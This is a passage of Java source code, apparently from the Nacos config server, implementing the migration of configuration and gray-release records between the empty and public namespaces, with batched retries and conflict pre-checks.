(StringUtils.isBlank(tenant)) {\n            targetTenant = namespacePublic;\n        }\n        ConfigAllInfo changedConfigAllInfo = configInfoPersistService.findConfigAllInfo(\n                changedConfigInfoStateWrapper.getDataId(), changedConfigInfoStateWrapper.getGroup(), tenant);\n        ConfigAllInfo targetConfigAllInfo = configInfoPersistService.findConfigAllInfo(\n                changedConfigInfoStateWrapper.getDataId(), changedConfigInfoStateWrapper.getGroup(), targetTenant);\n        try {\n            CONFIG_MIGRATE_FLAG.set(true);\n            if (NAMESPACE_MIGRATE_SRC_USER.equals(changedConfigAllInfo.getCreateUser())) {\n                if (targetConfigAllInfo == null) {\n                    configInfoPersistService.removeConfigInfo(changedConfigAllInfo.getDataId(),\n                            changedConfigAllInfo.getGroup(), tenant, null, NAMESPACE_MIGRATE_SRC_USER);\n                } else if (!targetConfigAllInfo.getMd5().equals(changedConfigAllInfo.getMd5())) {\n                    if (targetConfigAllInfo.getModifyTime() >= changedConfigAllInfo.getModifyTime()\n                            || !StringUtils.equals(targetConfigAllInfo.getCreateUser(), NAMESPACE_MIGRATE_SRC_USER)) {\n                        targetConfigAllInfo.setTenant(tenant);\n                        configInfoPersistService.updateConfigInfo(targetConfigAllInfo, null, NAMESPACE_MIGRATE_SRC_USER,\n                                null);\n                    }\n                }\n            } else {\n                if (targetConfigAllInfo == null) {\n                    changedConfigAllInfo.setTenant(targetTenant);\n                    configInfoPersistService.addConfigInfo(null, NAMESPACE_MIGRATE_SRC_USER, changedConfigAllInfo,\n                            null);\n                } else if (!targetConfigAllInfo.getMd5().equals(changedConfigAllInfo.getMd5())) {\n                    if (targetConfigAllInfo.getModifyTime() >= changedConfigAllInfo.getModifyTime()\n                            && !StringUtils.equals(targetConfigAllInfo.getCreateUser(), NAMESPACE_MIGRATE_SRC_USER)) {\n                        targetConfigAllInfo.setTenant(tenant);\n                        configInfoPersistService.updateConfigInfo(targetConfigAllInfo, null, NAMESPACE_MIGRATE_SRC_USER,\n                                null);\n                    } else if (targetConfigAllInfo.getModifyTime() < changedConfigAllInfo.getModifyTime()) {\n                        changedConfigAllInfo.setTenant(targetTenant);\n                        configInfoPersistService.updateConfigInfo(changedConfigAllInfo, null,\n                                NAMESPACE_MIGRATE_SRC_USER, null);\n                    }\n                }\n            }\n        } finally {\n            CONFIG_MIGRATE_FLAG.set(false);\n        }\n        \n    }\n    \n    /**\n     * Check deleted config gray migrate state.\n     *\n     * @param deletedConfigInfoGrayStateWrapper the deleted config info gray state wrapper\n     */\n    public void checkDeletedConfigGrayMigrateState(ConfigInfoStateWrapper deletedConfigInfoGrayStateWrapper) {\n        if (deletedConfigInfoGrayStateWrapper == null) {\n            return;\n        }\n        String tenant = deletedConfigInfoGrayStateWrapper.getTenant();\n        if (!ConfigCompatibleConfig.getInstance().isNamespaceCompatibleMode()) {\n            return;\n        }\n        if (!StringUtils.equals(tenant, namespacePublic) && StringUtils.isNotBlank(tenant)) {\n            return;\n        }\n        String targetTenant = StringUtils.EMPTY;\n        if (StringUtils.isBlank(tenant)) {\n            targetTenant = namespacePublic;\n        }\n        ConfigInfoStateWrapper targetConfigInfoGrayStateWrapper = configInfoGrayPersistService.findConfigInfo4GrayState(\n                deletedConfigInfoGrayStateWrapper.getDataId(), deletedConfigInfoGrayStateWrapper.getGroup(),\n                targetTenant, deletedConfigInfoGrayStateWrapper.getGrayName());\n        if (targetConfigInfoGrayStateWrapper == null) {\n            return;\n        }\n        \n        try {\n            GRAY_MIGRATE_FLAG.set(true);\n            if (targetConfigInfoGrayStateWrapper.getLastModified()\n                    <= deletedConfigInfoGrayStateWrapper.getLastModified()) {\n                configInfoGrayPersistService.removeConfigInfoGray(deletedConfigInfoGrayStateWrapper.getDataId(),\n                        deletedConfigInfoGrayStateWrapper.getGroup(), targetTenant,\n                        deletedConfigInfoGrayStateWrapper.getGrayName(), null, NAMESPACE_MIGRATE_SRC_USER);\n            }\n        } finally {\n            GRAY_MIGRATE_FLAG.set(false);\n        }\n    }\n    \n    /**\n     * Check deleted config migrate state.\n     *\n     * @param deletedConfigInfoStateWrapper the deleted config info state wrapper\n     */\n    public void checkDeletedConfigMigrateState(ConfigInfoStateWrapper deletedConfigInfoStateWrapper) {\n        String tenant = deletedConfigInfoStateWrapper.getTenant();\n        if (!ConfigCompatibleConfig.getInstance().isNamespaceCompatibleMode()) {\n            return;\n        }\n        if (!StringUtils.equals(tenant, namespacePublic) && StringUtils.isNotBlank(tenant)) {\n            return;\n        }\n        String targetTenant = StringUtils.EMPTY;\n        if (StringUtils.isBlank(tenant)) {\n            targetTenant = namespacePublic;\n        }\n        ConfigInfoStateWrapper targetConfigInfoStateWrapper = configInfoPersistService.findConfigInfoState(\n                deletedConfigInfoStateWrapper.getDataId(), deletedConfigInfoStateWrapper.getGroup(), targetTenant);\n        if (targetConfigInfoStateWrapper == null) {\n            return;\n        }\n        try {\n            CONFIG_MIGRATE_FLAG.set(true);\n            if (targetConfigInfoStateWrapper.getLastModified() <= deletedConfigInfoStateWrapper.getLastModified()) {\n                configInfoPersistService.removeConfigInfo(deletedConfigInfoStateWrapper.getDataId(),\n                        deletedConfigInfoStateWrapper.getGroup(), targetTenant, null, NAMESPACE_MIGRATE_SRC_USER);\n            }\n        } finally {\n            CONFIG_MIGRATE_FLAG.set(false);\n        }\n        \n    }\n    \n    private void doCheckNamespaceMigrate() throws Exception {\n        final long startTime = System.currentTimeMillis();\n        int maxNamespaceMigrateRetryTimes = EnvUtil.getProperty(\"nacos.namespace.migrate.retry.times\", Integer.class,\n                3);\n        namespaceMigratePreCheck(maxNamespaceMigrateRetryTimes);\n        int batchSize = EnvUtil.getProperty(\"nacos.namespace.migrate.batch.size\", Integer.class, 100);\n        long startId = -1;\n        List<Long> batchIds = new ArrayList<>();\n        int totalInsertNums = 0;\n        LOGGER.info(\"[migrate] start migrate config namespace\");\n        do {\n            int retryTimes = 0;\n            boolean migrateSuccess = false;\n            while (retryTimes <= maxNamespaceMigrateRetryTimes) {\n                try {\n                    batchIds = configMigratePersistService.getMigrateConfigInsertIdList(startId, batchSize);\n                    if (!batchIds.isEmpty()) {\n                        configMigratePersistService.migrateConfigInsertByIds(batchIds, NAMESPACE_MIGRATE_SRC_USER);\n                        startId = batchIds.get(batchIds.size() - 1);\n                    }\n                    migrateSuccess = true;\n                    break;\n                } catch (Exception e) {\n                    LOGGER.error(\"[migrate] config_info namespace migrate insert failed, retry times={}, error={}\", retryTimes,\n                            e.getMessage());\n                }\n                retryTimes++;\n                Thread.sleep(1000L);\n            }\n            if (!migrateSuccess) {\n                LOGGER.error(\"[migrate] config_info namespace migrate insert failed\");\n                throw new Exception(\"[migrate] config_info namespace migrate insert failed\");\n            } else {\n                totalInsertNums += batchIds.size();\n            }\n            LOGGER.info(\"[migrate] migrating config namespace from empty to public, finished:\" + totalInsertNums);\n        } while (batchIds.size() == batchSize);\n        \n        long startEmptyId = -1;\n        int totalUpdateFromEmptyNums = 0;\n        List<ConfigInfo> batchConfigInfosFromEmpty = new ArrayList<>();\n        do {\n            int retryTimes = 0;\n            boolean migrateSuccess = false;\n            while (retryTimes <= maxNamespaceMigrateRetryTimes) {\n                try {\n                    batchConfigInfosFromEmpty = configMigratePersistService\n                            .getMigrateConfigUpdateList(startEmptyId, batchSize, StringUtils.EMPTY, namespacePublic, NAMESPACE_MIGRATE_SRC_USER);\n                    if (!batchConfigInfosFromEmpty.isEmpty()) {\n                        for (ConfigInfo configInfo : batchConfigInfosFromEmpty) {\n                            configMigratePersistService.syncConfig(configInfo.getDataId(), configInfo.getGroup(),\n                                    StringUtils.EMPTY, namespacePublic, NAMESPACE_MIGRATE_SRC_USER);\n                        }\n                        startEmptyId = batchConfigInfosFromEmpty.get(batchConfigInfosFromEmpty.size() - 1)\n                                .getId();\n                    }\n                    migrateSuccess = true;\n                    break;\n                } catch (Exception e) {\n                    LOGGER.error(\"[migrate] config_info namespace migrate update from empty failed, retry times={}, error={}\", retryTimes,\n                            e.getMessage());\n                }\n                retryTimes++;\n                Thread.sleep(1000L);\n            }\n            if (!migrateSuccess) {\n                LOGGER.error(\"[migrate] config_info namespace migrate update from empty failed, skipped\");\n                if (!batchConfigInfosFromEmpty.isEmpty()) {\n                    startEmptyId = batchConfigInfosFromEmpty.get(batchConfigInfosFromEmpty.size() - 1).getId();\n                }\n            } else {\n                totalUpdateFromEmptyNums += batchConfigInfosFromEmpty.size();\n            }\n            LOGGER.info(\"[migrate] syncing config namespace from empty to public, finished:\" + totalUpdateFromEmptyNums);\n        } while (batchConfigInfosFromEmpty.size() == batchSize);\n        \n        long startPublicId = -1;\n        int totalUpdateFromPublicNums = 0;\n        List<ConfigInfo> batchConfigInfosFromPublic = new ArrayList<>();\n        do {\n            int retryTimes = 0;\n            boolean migrateSuccess = false;\n            while (retryTimes <= maxNamespaceMigrateRetryTimes) {\n                try {\n                    batchConfigInfosFromPublic = configMigratePersistService\n                            .getMigrateConfigUpdateList(startPublicId, batchSize, namespacePublic, StringUtils.EMPTY,\n                                    NAMESPACE_MIGRATE_SRC_USER);\n                    if (!batchConfigInfosFromPublic.isEmpty()) {\n                        for (ConfigInfo configInfo : batchConfigInfosFromPublic) {\n                            configMigratePersistService.syncConfig(configInfo.getDataId(), configInfo.getGroup(),\n                                    namespacePublic, StringUtils.EMPTY, NAMESPACE_MIGRATE_SRC_USER);\n                        }\n                        startPublicId = batchConfigInfosFromPublic.get(batchConfigInfosFromPublic.size() - 1)\n                                .getId();\n                    }\n                    migrateSuccess = true;\n                    break;\n                } catch (Exception e) {\n                    LOGGER.error(\"[migrate] config_info namespace migrate update from public failed, retry times={}, error={}\", retryTimes,\n                            e.getMessage());\n                }\n                retryTimes++;\n                Thread.sleep(1000L);\n            }\n            if (!migrateSuccess) {\n                LOGGER.error(\"[migrate] config_info namespace migrate update from public failed, skipped\");\n                if (!batchConfigInfosFromPublic.isEmpty()) {\n                    startPublicId = batchConfigInfosFromPublic.get(batchConfigInfosFromPublic.size() - 1).getId();\n                }\n            } else {\n                totalUpdateFromPublicNums += batchConfigInfosFromPublic.size();\n            }\n            LOGGER.info(\"[migrate] syncing config namespace from public to empty, finished:\" + totalUpdateFromPublicNums);\n        } while (batchConfigInfosFromPublic.size() == batchSize);\n        \n        long startGrayId = -1;\n        int totalInsertGrayNum = 0;\n        do {\n            int retryTimes = 0;\n            boolean migrateSuccess = false;\n            while (retryTimes <= maxNamespaceMigrateRetryTimes) {\n                try {\n                    batchIds = configMigratePersistService.getMigrateConfigGrayInsertIdList(startGrayId, batchSize);\n                    if (!batchIds.isEmpty()) {\n                        configMigratePersistService.migrateConfigGrayInsertByIds(batchIds, NAMESPACE_MIGRATE_SRC_USER);\n                        startGrayId = batchIds.get(batchIds.size() - 1);\n                    }\n                    migrateSuccess = true;\n                    break;\n                } catch (Exception e) {\n                    LOGGER.error(\"[migrate] config_info gray namespace migrate insert failed, retry times={}, error={}\", retryTimes,\n                            e.getMessage());\n                }\n                retryTimes++;\n                Thread.sleep(1000L);\n            }\n            if (!migrateSuccess) {\n                LOGGER.error(\"[migrate] config_info_gray namespace migrate insert failed\");\n                throw new Exception(\"[migrate] config_info_gray namespace migrate insert failed\");\n            } else {\n                totalInsertGrayNum += batchIds.size();\n            }\n            LOGGER.info(\"[migrate] migrating config gray namespace from empty to public, finished:\" + totalInsertGrayNum);\n        } while (batchIds.size() == batchSize);\n        \n        long startGrayEmptyId = -1;\n        int totalUpdateGrayFromEmptyNum = 0;\n        List<ConfigInfoGrayWrapper> batchConfigInfoGraysFromEmpty = new ArrayList<>();\n        do {\n            int retryTimes = 0;\n            boolean migrateSuccess = false;\n            while (retryTimes <= maxNamespaceMigrateRetryTimes) {\n                try {\n                    batchConfigInfoGraysFromEmpty = configMigratePersistService\n                            .getMigrateConfigGrayUpdateList(startGrayEmptyId, batchSize, StringUtils.EMPTY,\n                                    namespacePublic, NAMESPACE_MIGRATE_SRC_USER);\n                    if (!batchConfigInfoGraysFromEmpty.isEmpty()) {\n                        for (ConfigInfoGrayWrapper configInfoGrayWrapper : batchConfigInfoGraysFromEmpty) {\n                            configMigratePersistService.syncConfigGray(configInfoGrayWrapper.getDataId(),\n                                    configInfoGrayWrapper.getGroup(), StringUtils.EMPTY,\n                                    configInfoGrayWrapper.getGrayName(), namespacePublic, NAMESPACE_MIGRATE_SRC_USER);\n                        }\n                        startGrayEmptyId = batchConfigInfoGraysFromEmpty.get(batchConfigInfoGraysFromEmpty.size() - 1)\n                                .getId();\n                    }\n                    migrateSuccess = true;\n                    break;\n                } catch (Exception e) {\n                    LOGGER.error(\"[migrate] config_info_gray namespace migrate update from empty failed, retry times={}, error={}\",\n                            retryTimes, e.getMessage());\n                }\n                retryTimes++;\n                Thread.sleep(1000L);\n            }\n            if (!migrateSuccess) {\n                LOGGER.error(\"[migrate] config_info_gray namespace migrate update from empty failed, skipped\");\n                if (!batchConfigInfoGraysFromEmpty.isEmpty()) {\n                    startGrayEmptyId = batchConfigInfoGraysFromEmpty.get(batchConfigInfoGraysFromEmpty.size() - 1)\n                            .getId();\n                }\n            } else {\n                totalUpdateGrayFromEmptyNum += batchConfigInfoGraysFromEmpty.size();\n            }\n            LOGGER.info(\"[migrate] syncing config gray namespace from empty to public, finished:\" + totalUpdateGrayFromEmptyNum);\n        } while (batchConfigInfoGraysFromEmpty.size() == batchSize);\n        \n        long startGrayPublicId = -1;\n        int totalUpdateGrayFromPublicNum = 0;\n        List<ConfigInfoGrayWrapper> batchConfigInfoGraysFromPublic = new ArrayList<>();\n        do {\n            int retryTimes = 0;\n            boolean migrateSuccess = false;\n            while (retryTimes <= maxNamespaceMigrateRetryTimes) {\n                try {\n                    batchConfigInfoGraysFromPublic = configMigratePersistService\n                            .getMigrateConfigGrayUpdateList(startGrayPublicId, batchSize, namespacePublic,\n                                    StringUtils.EMPTY, NAMESPACE_MIGRATE_SRC_USER);\n                    if (!batchConfigInfoGraysFromPublic.isEmpty()) {\n                        for (ConfigInfoGrayWrapper configInfoGrayWrapper : batchConfigInfoGraysFromPublic) {\n                            configMigratePersistService.syncConfigGray(configInfoGrayWrapper.getDataId(),\n                                    configInfoGrayWrapper.getGroup(), namespacePublic,\n                                    configInfoGrayWrapper.getGrayName(), StringUtils.EMPTY, NAMESPACE_MIGRATE_SRC_USER);\n                        }\n                        startGrayPublicId = batchConfigInfoGraysFromPublic.get(batchConfigInfoGraysFromPublic.size() - 1)\n                                .getId();\n                    }\n                    migrateSuccess = true;\n                    break;\n                } catch (Exception e) {\n                    LOGGER.error(\"[migrate] config_info_gray namespace migrate update from public failed, retry times={}, error={}\",\n                            retryTimes, e.getMessage());\n                }\n                retryTimes++;\n                Thread.sleep(1000L);\n            }\n            if (!migrateSuccess) {\n                LOGGER.error(\"[migrate] config_info_gray namespace migrate update from public failed, skipped\");\n                if (!batchConfigInfoGraysFromPublic.isEmpty()) {\n                    startGrayPublicId = batchConfigInfoGraysFromPublic.get(batchConfigInfoGraysFromPublic.size() - 1)\n                            .getId();\n                }\n            } else {\n                totalUpdateGrayFromPublicNum += batchConfigInfoGraysFromPublic.size();\n            }\n            LOGGER.info(\"[migrate] syncing config gray namespace from public to empty, finished:\" + totalUpdateGrayFromPublicNum);\n        } while (batchConfigInfoGraysFromPublic.size() == batchSize);\n        LOGGER.info(\"[migrate] finish migrate config namespace\" + \"total time taken: \"\n                + (System.currentTimeMillis() - startTime) + \" ms\");\n    }\n    \n    private void namespaceMigratePreCheck(int maxRetryTimes) throws Exception {\n        int retryTimes = 0;\n        boolean checkSuccess = false;\n        while (retryTimes <= maxRetryTimes) {\n            try {\n                int conflictCount = configMigratePersistService.configInfoConflictCount(NAMESPACE_MIGRATE_SRC_USER);\n                if (conflictCount > 0) {\n                    LOGGER.error(\"[migrate] config_info conflict count=\" + conflictCount);\n                } else {\n                    checkSuccess = true;\n                    break;\n                }\n            } catch (Exception e) {\n                LOGGER.error(\"[migrate] namespace migrate pre check failed, retry times={}, error={}\", retryTimes,\n                        e.getMessage());\n            }\n            retryTimes++;\n            Thread.sleep(1000L);\n        }\n        if (!checkSuccess) {\n            throw new Exception(\"[migrate] config_info namespace migrate pre check failed\");\n        }\n        \n        retryTimes = 0;\n        checkSuccess = false;\n        while (retryTimes <= maxRetryTimes) {\n            try {\n                int conflictCount = configMigratePersistService.configInfoGrayConflictCount(NAMESPACE_MIGRATE_SRC_USER);\n                if (conflictCount > 0) {\n                    LOGGER.error(\"[migrate] config_info_gray conflict count=\" + conflictCount);\n                } else {\n                    checkSuccess = true;\n                    break;\n                }\n            } catch (Exception e) {\n                LOGGER.error(\"[migrate] namespace migrate pre check failed, retry times={}, error={}\", retryTimes,\n                        e.getMessage());\n            }\n            retryTimes++;\n            Thread.sleep(1000L);\n        }\n        if (!checkSuccess) {\n            throw new Exception(\"[migrate] config_gray namespace migrate pre check failed\");\n        }\n    }\n    \n    /**\n     * Namespace migrate gray.\n     *\n     * @param dataId   the data id\n     * @param group    the group\n     * @param tenant   the tenant\n     * @param grayName the gray name\n     */\n    public void namespaceMigrateGray(String dataId, String group, String tenant, String grayName) {\n        try {\n            GRAY_MIGRATE_FLAG.set(true);\n            if (StringUtils.isBlank(tenant)) {\n                configMigratePersistService.syncConfigGray(dataId, group, tenant, grayName, namespacePublic,\n                        NAMESPACE_MIGRATE_SRC_USER);\n            } else if (StringUtils.equals(tenant, namespacePublic)) {\n                configMigratePersistService.syncConfigGray(dataId, group, tenant, grayName, \"\",\n                        NAMESPACE_MIGRATE_SRC_USER);\n            }\n        } catch (Exception e) {\n            LOGGER.error(\"[migrate] namespace migrate gray failed\", e);\n        } finally {\n            GRAY_MIGRATE_FLAG.set(false);\n        }\n    }\n    \n    /**\n     * Namespace migrate.\n     *\n     * @param dataId the data id\n     * @param group  the group\n     * @param tenant the tenant\n     */\n    public void namespaceMigrate(String dataId, String group, String tenant) {\n        try {\n            CONFIG_MIGRATE_FLAG.set(true);\n            if (StringUtils.isBlank(tenant)) {\n                configMigratePersistService.syncConfig(dataId, group, tenant, namespacePublic, NAMESPACE_MIGRATE_SRC_USER);\n            } else if (StringUtils.equals(tenant, namespacePublic)) {\n                configMigratePersistService.syncConfig(dataId, group, tenant, \"\", NAMESPACE_MIGRATE_SRC_USER);\n            }\n        } catch (Exception e) {\n            LOGGER.error(\"[migrate] namespace migrate failed\", e);\n        } finally {\n            CONFIG_MIGRATE_FLAG.set(false);\n        }\n    }\n    \n    /**\n     * Publish config migrate.\n     *\n     * @param configFormOrigin  the config form origin\n     * @param configRequestInfo the config request info\n     * @param encryptedDataKey  the encrypted data key\n     * @throws NacosException the nacos exception\n     */\n    public void publishConfigMigrate(ConfigForm configFormOrigin, ConfigRequestInfo configRequestInfo,\n            String encryptedDataKey) throws NacosException {\n        ConfigForm configForm = configFormOrigin.clone();\n        if (!StringUtils.equals(configForm.getNamespaceId(), namespacePublic) || !ConfigCompatibleConfig.getInstance()\n                .isNamespaceCompatibleMode()) {\n            return;\n        }\n        ConfigInfoWrapper targetConfigInfoWrapper = configInfoPersistService.findConfigInfo(configForm.getDataId(),\n                configForm.getGroup(), \"\");\n        configForm.setNamespaceId(StringUtils.EMPTY);\n        configForm.setSrcUser(NAMESPACE_MIGRATE_SRC_USER);\n        Map<String, Object> configAdvanceInfo = getConfigAdvanceInfo(configForm);\n        ParamUtils.checkParam(configAdvanceInfo);\n        configForm.setEncryptedDataKey(encryptedDataKey);\n        ConfigInfo configInfo = new ConfigInfo(configForm.getDataId(), configForm.getGroup(),\n                configForm.getNamespaceId(), configForm.getAppName(), configForm.getContent());\n        //set old md5\n        if (StringUtils.isNotBlank(configRequestInfo.getCasMd5())) {\n            configInfo.setMd5(configRequestInfo.getCasMd5());\n        }\n        configInfo.setType(configForm.getType());\n        configInfo.setEncryptedDataKey(encryptedDataKey);\n        \n        ConfigOperateResult configOperateResult;\n        \n        try {\n            CONFIG_MIGRATE_FLAG.set(true);\n            if (StringUtils.isNotBlank(configRequestInfo.getCasMd5())) {\n                configOperateResult = configInfoPersistService.insertOrUpdateCas(configRequestInfo.getSrcIp(),\n                        configForm.getSrcUser(), configInfo, configAdvanceInfo);\n                if (!configOperateResult.isSuccess()) {\n                    LOGGER.warn(\n                            \"[cas-publish-config-fail] srcIp = {}, dataId= {}, casMd5 = {}, msg = server md5 may have changed.\",\n                            configRequestInfo.getSrcIp(), configForm.getDataId(), configRequestInfo.getCasMd5());\n                    throw new NacosApiException(HttpStatus.INTERNAL_SERVER_ERROR.value(), ErrorCode.RESOURCE_CONFLICT,\n                            \"Cas publish fail, server md5 may have changed.\");\n                }\n            } else {\n                if (configRequestInfo.getUpdateForExist()) {\n                    configInfoPersistService.insertOrUpdate(configRequestInfo.getSrcIp(), configForm.getSrcUser(),\n                            configInfo, configAdvanceInfo);\n                } else {\n                    try {\n                        configInfoPersistService.addConfigInfo(configRequestInfo.getSrcIp(), configForm.getSrcUser(),\n                                configInfo, configAdvanceInfo);\n                    } catch (DataIntegrityViolationException ive) {\n                        LOGGER.warn(\n                                \"[publish-config-failed] config already exists. dataId: {}, group: {}, namespaceId: {}\",\n                                configForm.getDataId(), configForm.getGroup(), configForm.getNamespaceId());\n                        throw new ConfigAlreadyExistsException(\n                                String.format(\"config already exist, dataId: %s, group: %s, namespaceId: %s\",\n                                        configForm.getDataId(), configForm.getGroup(), configForm.getNamespaceId()));\n                    }\n                }\n            }\n        } finally {\n            CONFIG_MIGRATE_FLAG.set(false);\n        }\n    }\n    \n    /**\n     * Update config metadata migrate.\n     *\n     * @param dataId      the data id\n     * @param group       the group\n     * @param namespaceId the namespace id\n     * @param configTags  the config tags\n     * @param description the description\n     * @throws NacosException the nacos exception\n     */\n    public void updateConfigMetadataMigrate(final String dataId,\n            final String group, final String namespaceId, final String configTags, final String description)\n            throws NacosException {\n        if (!StringUtils.equals(namespaceId, namespacePublic) || !ConfigCompatibleConfig.getInstance()\n                .isNamespaceCompatibleMode()) {\n            return;\n        }\n        ConfigOperateResult configOperateResult;\n        configOperateResult = configInfoPersistService.updateConfigInfoMetadata(dataId, group, StringUtils.EMPTY, configTags, description);\n        if (!configOperateResult.isSuccess()) {\n            LOGGER.warn(\"[update-config-metadata-fail] dataId: {}, group: {}, namespaceId: {}\",\n                    dataId, group, namespaceId);\n            throw new NacosApiException(HttpStatus.INTERNAL_SERVER_ERROR.value(), ErrorCode.RESOURCE_CONFLICT,\n                    \"update metadata fail.\");\n        }\n    }\n    \n    /**\n     * Publish config gray migrate.\n     *\n     * @param grayType          the gray type\n     * @param configFormOrigin  the config form origin\n     * @param configRequestInfo the config request info\n     * @throws NacosException the nacos exception\n     */\n    public void publishConfigGrayMigrate(String grayType, ConfigForm configFormOrigin,\n            ConfigRequestInfo configRequestInfo) throws NacosException {\n        ConfigForm configForm = configFormOrigin.clone();\n        if (!StringUtils.equals(configForm.getNamespaceId(), namespacePublic) || !ConfigCompatibleConfig.getInstance()\n                .isNamespaceCompatibleMode()) {\n            return;\n        }\n        ConfigInfoGrayWrapper targetConfigInfoGrayWrapper = configInfoGrayPersistService.findConfigInfo4Gray(\n                configForm.getDataId(), configForm.getGroup(), \"\",\n                configForm.getGrayName());\n        configForm.setNamespaceId(StringUtils.EMPTY);\n        configForm.setSrcUser(NAMESPACE_MIGRATE_SRC_USER);\n        Map<String, Object> configAdvanceInfo = getConfigAdvanceInfo(configForm);\n        ParamUtils.checkParam(configAdvanceInfo);\n        \n        ConfigGrayPersistInfo localConfigGrayPersistInfo = new ConfigGrayPersistInfo(grayType,\n                configForm.getGrayVersion(), configForm.getGrayRuleExp(), configForm.getGrayPriority());\n        GrayRule grayRuleStruct = GrayRuleManager.constructGrayRule(localConfigGrayPersistInfo);\n        if (grayRuleStruct == null) {\n            throw new NacosApiException(HttpStatus.BAD_REQUEST.value(), ErrorCode.CONFIG_GRAY_VERSION_INVALID,\n                    ErrorCode.CONFIG_GRAY_VERSION_INVALID.getMsg());\n        }\n        \n        if (!grayRuleStruct.isValid()) {\n            throw new NacosApiException(HttpStatus.BAD_REQUEST.value(), ErrorCode.CONFIG_GRAY_RULE_FORMAT_INVALID,\n                    ErrorCode.CONFIG_GRAY_RULE_FORMAT_INVALID.getMsg());\n        }\n        \n        ConfigInfo configInfo = new ConfigInfo(configForm.getDataId(), configForm.getGroup(),\n                configForm.getNamespaceId(), configForm.getAppName(), configForm.getContent());\n        // set old md5\n        if (StringUtils.isNotBlank(configRequestInfo.getCasMd5())) {\n            configInfo.setMd5(configRequestInfo.getCasMd5());\n        }\n        configInfo.setType(configForm.getType());\n        configInfo.setEncryptedDataKey(configForm.getEncryptedDataKey());\n        \n        if (StringUtils.equals(grayType, TagGrayRule.TYPE_TAG)) {\n            persistTagv1(configForm, configInfo, configRequestInfo);\n        } else if (StringUtils.equals(grayType, BetaGrayRule.TYPE_BETA)) {\n            persistBeta(configForm, configInfo, configRequestInfo);\n        }\n        \n        ConfigOperateResult configOperateResult;\n        \n        try {\n            GRAY_MIGRATE_FLAG.set(true);\n            if (StringUtils.isNotBlank(configRequestInfo.getCasMd5())) {\n                configOperateResult = configInfoGrayPersistService.insertOrUpdateGrayCas(configInfo,\n                        configForm.getGrayName(),\n                        GrayRuleManager.serializeConfigGrayPersistInfo(localConfigGrayPersistInfo),\n                        configRequestInfo.getSrcIp(), configForm.getSrcUser());\n                if (!configOperateResult.isSuccess()) {\n                    LOGGER.warn(\n                            \"[cas-publish-gray-config-fail] srcIp = {}, dataId= {}, casMd5 = {}, grayName = {}, msg = server md5 may have changed.\",\n                            configRequestInfo.getSrcIp(), configForm.getDataId(), configRequestInfo.getCasMd5(),\n                            configForm.getGrayName());\n                    throw new NacosApiException(HttpStatus.INTERNAL_SERVER_ERROR.value(), ErrorCode.RESOURCE_CONFLICT,\n                            \"Cas publish gray config fail, server md5 may have changed.\");\n                }\n            } else {\n                configInfoGrayPersistService.insertOrUpdateGray(configInfo, configForm.getGrayName(),\n                        GrayRuleManager.serializeConfigGrayPersistInfo(localConfigGrayPersistInfo),\n                        configRequestInfo.getSrcIp(), configForm.getSrcUser());\n            }\n        } finally {\n            GRAY_MIGRATE_FLAG.set(false);\n        }\n    }\n    \n    /**\n     * Remove config info migrate.\n     *\n     * @param dataId  the data id\n     * @param group   the group\n     * @param tenant  the tenant\n     * @param srcIp   the src ip\n     * @param srcUser the src user\n     */\n    public void removeConfigInfoMigrate(String dataId, String group, String tenant, String srcIp, String srcUser) {\n        if (!StringUtils.equals(tenant, namespacePublic) || !ConfigCompatibleConfig.getInstance()\n                .isNamespaceCompatibleMode()) {\n            return;\n        }\n        try {\n            CONFIG_MIGRATE_FLAG.set(true);\n            configInfoPersistService.removeConfigInfo(dataId, group, \"\", srcIp, NAMESPACE_MIGRATE_SRC_USER);\n        } finally {\n            CONFIG_MIGRATE_FLAG.set(false);\n        }\n    }\n    \n    /**\n     * Remove config info gray migrate.\n     *\n     * @param dataId   the data id\n     * @param group    the group\n     * @param tenant   the tenant\n     * @param grayName the gray name\n     * @param srcIp    the src ip\n     * @param srcUser  the src user\n     */\n    public void removeConfigInfoGrayMigrate(String dataId, String group, String tenant, String grayName, String srcIp,\n            String srcUser) {\n        if (!StringUtils.equals(tenant, namespacePublic) || !ConfigCompatibleConfig.getInstance()\n                .isNamespaceCompatibleMode()) {\n            return;\n        }\n        try {\n            GRAY_MIGRATE_FLAG.set(true);\n            configInfoGrayPersistService.removeConfigInfoGray(dataId, group, \"\", grayName, srcIp,\n                    NAMESPACE_MIGRATE_SRC_USER);\n            deleteConfigGrayV1(dataId, group, \"\", grayName, srcIp, NAMESPACE_MIGRATE_SRC_USER);\n        } finally {\n            GRAY_MIGRATE_FLAG.set(false);\n        }\n    }\n    \n    public Map<String, Object> getConfigAdvanceInfo(ConfigForm configForm) {\n        Map<String, Object> configAdvanceInfo = new HashMap<>(10);\n        MapUtil.putIfValNoNull(configAdvanceInfo, \"config_tags\", configForm.getConfigTags());\n        MapUtil.putIfValNoNull(configAdvanceInfo, \"desc\", configForm.getDesc());\n        MapUtil.putIfValNoNull(configAdvanceInfo, \"use\", configForm.getUse());\n        MapUtil.putIfValNoNull(configAdvanceInfo, \"effect\", configForm.getEffect());\n        MapUtil.putIfValNoNull(configAdvanceInfo, \"type\", configForm.getType());\n        MapUtil.putIfValNoNull(configAdvanceInfo, \"schema\", configForm.getSchema());\n        return configAdvanceInfo;\n    }\n    \n    private void doCheckMigrate() throws Exception {\n        \n        int migrateMulti = EnvUtil.getProperty(\"nacos.gray.migrate.executor.multi\", Integer.class, Integer.valueOf(4));\n        ThreadPoolExecutor executorService = new ThreadPoolExecutor(ThreadUtils.getSuitableThreadCount(migrateMulti),\n                ThreadUtils.getSuitableThreadCount(migrateMulti), 60L, TimeUnit.SECONDS,\n                new LinkedBlockingQueue<>(PropertyUtil.getAllDumpPageSize() * migrateMulti),\n                r -> new Thread(r, \"gray-migrate-worker\"), new ThreadPoolExecutor.CallerRunsPolicy());\n        int pageSize = 100;\n        int rowCount = configInfoBetaPersistService.configInfoBetaCount();\n        int pageCount = (int) Math.ceil(rowCount * 1.0 / pageSize);\n        int actualRowCount = 0;\n        for (int pageNo = 1; pageNo <= pageCount; pageNo++) {\n            Page<ConfigInfoBetaWrapper> page = configInfoBetaPersistService.findAllConfigInfoBetaForDumpAll(pageNo,\n                    pageSize);\n            if (page != null) {\n                for (ConfigInfoBetaWrapper cf : page.getPageItems()) {\n                    \n                    executorService.execute(() -> {\n                        GRAY_MIGRATE_FLAG.set(true);\n                        ConfigInfoGrayWrapper configInfo4Gray = configInfoGrayPersistService.findConfigInfo4Gray(\n                                cf.getDataId(), cf.getGroup(), cf.getTenant(), BetaGrayRule.TYPE_BETA);\n                        if (configInfo4Gray == null || 